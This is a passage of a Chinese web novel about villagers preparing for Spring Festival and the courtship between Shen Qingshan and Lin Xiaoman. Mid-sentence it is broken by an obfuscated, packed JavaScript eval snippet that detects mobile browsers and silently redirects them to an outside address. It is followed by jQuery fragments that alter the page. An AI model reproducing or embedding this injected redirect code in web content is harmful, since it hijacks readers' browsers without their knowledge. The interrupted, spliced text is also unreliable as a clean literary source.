腊月二十九，天还未大亮，村头的老槐树挂满了晶莹的冰棱，在微弱的晨光中闪烁着冷冽的光芒。树枝上凝着厚厚的霜，仿佛披上了一层银装。村长家的李婶子早已起身，踩着厚厚的积雪，发出“咯吱咯吱”的声响，径直往灶房走去。
她熟练地掸了掸那条磨得发亮的围裙，动作轻快而利落。灶房里，泡了一天的糯米已经软糯得恰到好处。王婶子将糯米倒入石臼，拿起木杵，“梆梆”地敲打起来。那声音在清晨的寂静中格外响亮，震得屋檐下的冰溜子簌簌往下掉，落在地上碎成一片晶莹的粉末。
二娃子扒着门框，眼巴巴地瞧着阿奶忙碌。灶房里热气腾腾，李婶子熟练地将裹着枣泥的豆包捏成一个个胖乎乎的元宝形状，蒸汽混着甜香在空气中弥漫，糊满了纸窗。二娃子吸了吸鼻子，满心期待着这些豆包出锅的那一刻。
与此同时，村西头张家的院子里早已冒起了袅袅青烟。三四个壮汉围着一头绑在条凳上的年猪，忙碌着准备杀猪过年。李屠户抄起两指宽的铁钩子，嘴里呵出的白气洇湿了他那胡子茬。他眯着眼睛，仔细打量着眼前的年猪，笑着说道：“今年这猪怕不得有二百斤？真是个好年景！”
木盆接猪血的当口，隔壁赵家媳妇端着细盐走了过来。她顺手把案板板边剔下的碎肉拢进陶罐，动作麻利。这些碎肉待会儿要拿去给村尾的孤寡老人炖白菜，村里人总是互相照应，年关将至，谁也不会落下谁。
日头缓缓攀上屋檐角，金色的阳光洒满了小院。林小满蹲在院门口，跟着他娘一起刮糨糊。那扇掉漆的木门早已被草把子刷得泛白，露出斑驳的木纹。娘俩小心翼翼地将红纸对联贴在门上，“天增岁月人增寿”几个大字在阳光下熠熠生辉，微风一吹，红纸便簌簌作响。
不远处，晒谷谷场上热闹非凡。半大小子们踩着高跷，灵活地在人群中穿梭，手里捧着晒干的松枝，往各家房梁上挂。松枝的碎末子随风飘落，纷纷扬扬地洒在豆腐刘刚支起的油锅边。油锅里，金黄的丸子翻滚着，发出“滋滋”的声响，香气四溢。松脂的清香与炸丸子的浓郁香味交织在一起，随风飘散，弥漫了整个村庄。
村头的老槐树下，几个老人围坐在一起，手里捧着热腾腾的茶碗，笑眯眯地看着孩子们嬉戏。远处的山峦在阳光下显得格外清晰，仿佛也在为这喜庆的日子而欢欣。林小满抬头望了望天，心中涌起一股暖流，这新年的气息已经深深烙在了他的心里。他站起身，拍了拍手上的糨糊，脸上露出了满足的笑容。
年三十的晌午，阳光刚刚洒满大地，清河村的祠堂前已是热闹非凡。祠堂廊下，一张古朴的八仙桌被摆得满满当当，三层供盘层层叠叠，犹如一座小山。供桌的正中央，一只整乳猪头格外显眼，油亮的蜂蜜涂抹其上，在阳光下泛着诱人的光泽。
三婶子手里托着条盘，穿梭在祠堂门口，挨家挨户地收取供品。她的脚步轻快，脸上挂着挂着满足的笑容，仿佛每收一份供品，就离来年的丰收更近了一步。黄米年糕被巧妙地码成塔尖，层层叠叠，散发出阵阵诱人的香气。就在这丰盛的供品堆中，最底下压着个豁口的粗碗，碗里装的是李寡妇用野菜和面蒸的窝头。
清河村本就是个杂杂姓村，村民们因天灾人祸来自不同的地方，姓氏各异，但大家却共用着一个祠堂，共同祭拜着祖先，祈求来年的风调雨顺、五谷丰登。林小满家因在守孝，未能参与这场盛大的祭祀活动。
祭祖仪式结束后，沈青山提着一个雕刻精美的木质食盒走了进来，手中还拎着一条用新鲜草绳穿起的大鲢鱼。他将食盒递给林小满，林小满接过，仔细一看，竟是镇上最有名的“好味来”糕点铺的食盒。这铺子里的糕点价格不菲，最便宜的白米糕也要五铜板一小块，而沈青山带来的却是桂花糕和芙蓉糕，这两种糕点一块怕是得要五十铜板。
王氏见状，心中欢喜沈青山给他们买了如此贵重的糕点，但转念一想，这俩孩子怎么一个比一个会花钱呢？她暗自决定，等沈青山不在时，得好好说说林小满。
林小满此时还不知王氏心中所想，他心情好得没话说。前世作为一名社畜，他最喜欢的就是制作和品尝各种美食。此刻，他心中满是期待，想着这些糕点的美味，嘴角不自觉地扬起了一丝笑意。
“先搁盆里。”王氏从炖着肘子的铁锅前直起身。满哥儿接过鱼的手指泛着红，棉袄袖口还沾着几星面粉，显然刚从揉面的活计里抽身。沈青山顺手扯下挂在梁上的围裙，系在腰间，准备干活。
灶台边的矮桌上，蒸年糕的竹屉正冒着腾腾热气，白雾缭绕间，甜糯的香气弥漫了整个厨房。王氏抄起磨得锃亮的菜刀，刀刃在阳光下闪着寒光，她熟练地剁起肉馅，‘咚咚’的声响节奏分明，惊飞了院里觅食的麻雀。满哥儿把剥好的板栗仁往冬菇丁里拌了。他扭头见沈青山蹲在厨房外边剖鱼，鲢鱼鳔在菜板上弹起半尺高，鱼腥味混合着泥土的气息，随风飘进厨房。
灶膛里煨着的柴灰忽然‘噼啪’炸响，火星四溅。王氏掀开炖肘子的砂锅盖，琥珀色的汤汁咕嘟着漫过林小满在猪皮上刻的福字，那福字在汤汁的浸润下显得愈发鲜亮。
申时三刻，暮色渐沉，祠堂方向传来第一声供磬，清脆悠远，在炊烟袅袅的村落上空回荡。王氏正守在灶台前，用木勺舀起一勺浓汤，轻轻吹了吹，尝了尝咸淡，满意地点了点头。
满哥儿踮着脚尖，正往房梁上挂腊肠，木凳子被沈青山用腿稳稳地抵住，生怕他摔下来。隔壁院里炸油丸子的香气从土墙的缝隙中渗进来，勾得人食指大动。竹筛上晾着的柿饼突然掉下一个，正巧砸中趴在灶台边偷肉渣的花猫，猫儿“喵”地一声跳开，引得满哥儿咯咯直笑。
“摆盘用牡丹盏。”王氏从樟木箱底小心翼翼地取出一个豁口的青花瓷盘，这是满哥儿爹当年用三斗米换来的宝贝，虽然有些破损，但依然透着古朴的韵味。
暮色爬上窗纸时，八大碗在八仙桌上摆出了尖儿，热气腾腾，香气四溢。栗子炖鸡、糖醋鱼、酱大肘……每一道菜都透着王氏与林小满的手艺和心意。满哥儿正要把祭祖用的长明灯端到供桌，忽见沈青山伸手抽走他发间的稻草屑，那是刚刚帮着烧火时沾上的。
“谢谢沈大哥。”林小满回以自己都没察觉的甜甜的笑，眉眼弯弯，像极了天边初升的月牙。
沈青山觉得呼吸一窒，心跳似乎漏了一拍，表面依旧淡定地点了点头，扔掉稻草后，手指还无意识地轻捻，仿佛那稻草上还残留着满哥儿发间的温度。他低头看着满哥儿，眼中闪过一丝温柔，随即转身继续忙碌，但嘴角的笑意却再也藏不住了。
村东头骤然响起头遍爆竹声，震得屋檐下的冰凌簌簌掉落。正在桌下偷吃的三花猫被惊得跳了起来，毛茸茸的尾巴高高翘起，‘喵’的一声窜到了王氏脚边。这突如其来的动静把屋里三人都逗乐了，笑声混着爆竹声在屋内回荡。
王氏蹲在灶前，将最后一把松针塞进灶膛。跳动的火苗映着墙上新换的“灶王图”，三柱清香插在盛满糯米的粗瓷碗里里，袅袅青烟歪歪扭扭地升腾，与房梁上垂挂的腊肠交织在一起，在屋顶下形成一片朦胧的烟雾。
正月初一的鞭炮声还未散尽，王氏就听见柴院门吱呀作响。满哥儿踮着脚，正取下房檐下晾晒的柿饼串，瞧见一抹青布衫角在篱笆墙外一闪而过，连忙喊道：“娘，沈大哥背着篓子往咱家来了！”
沈青山踏着积雪走来，肩头落落着细碎的雪花，竹篓里油纸包裹的桂皮在冬日暖阳下泛着暖光。“婶子，后山捡了些干柴，给您垛在东墙根。”他说话时，耳尖泛着红晕，不知是被冻的还是羞的。
这时，院门外传来板车吱呀的声响。王铁柱拉着板车进了院子，崔三娘怀里抱着红纸裹的年糕，轻巧地跳下车来。“要我说啊，青山小子该找村长做主，开春就把婚事定下来咯。”她一边说，一边笑着拍掉王铁柱肩头的雪渣。
灶膛里的火苗欢快地跳动着，映得屋里暖融融的。
沈青山挽着袖子，棉布衣襟沾着米粉，他用力揉搓着面团，手腕上的青筋随着动作起伏。灶膛里的柴火噼啪作响，蒸笼里冒出腾腾热气，将他的眉眼都笼在了一片朦胧中。
林小满假装查看火候，借着弯腰的当儿，袖子轻轻扫过沈青山结痂的虎口。那处伤是前几日劈柴时留下的，已经结了褐色的痂。“吴掌柜的账本要抄到初八？”他轻声问道，目光却落在沈青山微微发红的手背上。
沈青山顿了顿手中的动作，抬头
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266111|166575||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
看了他一眼。阳光透过蒸腾的水汽洒在他的侧脸上，映出细密的汗珠。“再抄七本就完事了。”
林小满这才后知后觉地想起，沈青山原是识字的，字写得也端正。他爹是村里的秀才，虽家境清贫供不起他去镇上的私塾，却也在家中教过他读书写字。每到年关，沈青山都会给吴掌柜抄账本，这已是惯例了。
“啪”的一声，崔三娘裹着栗子泥的筷子重重敲在王铁柱手背上。“看看人家！”她嗔怪道，“你那对雕花箱笼拖了半年，腊月才抬到我家院里。”王铁柱摸着后脑勺憨笑，灶上蒸腾的雾气裹着栗子的甜香，飘过晒谷场，在初春的寒风中氤氲出一片暖意。
初五，沈青山挑着担子，踏着泥土路往林家走去。村道上，接财神的锣鼓声此起彼伏，鞭炮的硝烟还未散尽，空气中弥漫着喜庆的气息。他肩上的担子里，整整齐齐码着三十斤上好的硬木柴，每一根都劈得方正。
到了林家门前，沈青山轻车熟路地将木柴堆放在柴垛上。柴垛早已堆得满满当当，几乎快要溢出来。
这时，林小满推开门，正巧看见这一幕，忍不住笑出了声：“沈大哥，我们家的木柴都快没地儿放了，你每天这么送，我们家都快成柴火铺子了。”
沈青山闻言，脸上微微一红，挠了挠头，低声道：“这……木柴不嫌多，用得上。”
大槐树斑驳的树影下，正午的阳光如金丝般斜斜地洒在粗壮的树根上。李寡妇倚着树干，手中捻着一根鲜艳的红头绳，嘴角勾起一丝讥讽的笑意：“初五迎财神那会儿，我亲眼见青山家灶王爷像前供着两刀红纸——没爹没娘的人家，倒急着要写合婚庚帖了。”她的话语中带着几分轻蔑，仿佛亲眼目睹了什么不得了的事情。沈青山家位于半山腰，也不知她是怎么瞧瞧见的，瞎话随口就来。
树墩子上，吴氏正晒着南瓜子，突然“咔”地一声咬开瓜子壳，接过话茬：“要我说青山小子迷了心，前日见他扛着酸枝木料往刘木匠家去，那木头分量抵得上三袋麦子。”她的语气中透着一丝不解和嘲讽。
孙大娘手中甩着纳到半截的千层底，针尖指向院子里晒衣服的人影，“你们细瞧满哥儿手腕，青布衫底下晃悠的不就是银镯子？”她的眼神锐利，仿佛能穿透衣衫，直指真相。
崔三娘将捶衣棒砸得震天响，毫不客气地反驳：“眼红人家有情义？孙婶当年嫁闺女，不是把隔壁王屠户家的牛都牵走当彩礼？”她的声音在树影中回荡，引得周围爆出一阵闷笑，惊飞了啄食的麻雀。
周婶端着针线箩往树荫里挪了挪，低声说道：“我们家柱子说，青山小子给吴掌柜誊完八本账，换的银钱全兑成红绸子了。”她的语气中带着一丝羡慕和感慨。
“这青山小子对林小满可真好。”有人感叹道，还兑红绸子呢，她们嫁人时能有一身新衣裳都能被人羡慕坏。
“林小满这命可真好。”李寡妇呸了一口，心中满是不甘。她几年前没了丈夫，婆家人不喜，娘家说如果她要回去就要听家里的话再嫁人。她又不是什么好颜色的，再嫁只能是那种那种死了婆娘的老汉，自是不愿。也就死皮赖脸待在婆家给她分的一个老房子里了。
本来她看猎户年纪大了还娶不上媳妇，想着自己勾搭一番，说不定能嫁给他，结果媚眼抛给瞎子看，沈青山一直拿她当空气，可气死她了。
崔三娘拧干洗好的衣裳放进盆子里，冷冷地说道：“满哥儿命好，青山小子才是命好呢，能求娶满哥儿是他的大福气。”说罢也不管旁人什么脸色，扭头就走了。
“这臭妮子，都二十了还没嫁出去，神气什么。”吴氏愤愤然道。
“嗐，人家有铁柱小子天天追在尾巴后面呢，再说如果不是守孝耽误了，当年多少小子想要求娶三娘。”孙大娘倒是没有附和她，之前她家小子也喜欢崔三娘，但是崔三娘父母双亡，他们觉得不是个良配，硬是逼着儿子娶了别人。
“行了，我也不跟你们唠嗑了，家里还有一堆活计。”吴氏站起身来，拍了拍身上的瓜子壳，转身离去。
日头西斜，炊烟裹着腊肉香漫过槐树枝，老槐树簌簌抖落几片黄叶，盖住了石板缝里发亮的瓜子皮。树下的人们逐渐散去，只留下槐树在风中轻轻摇曳。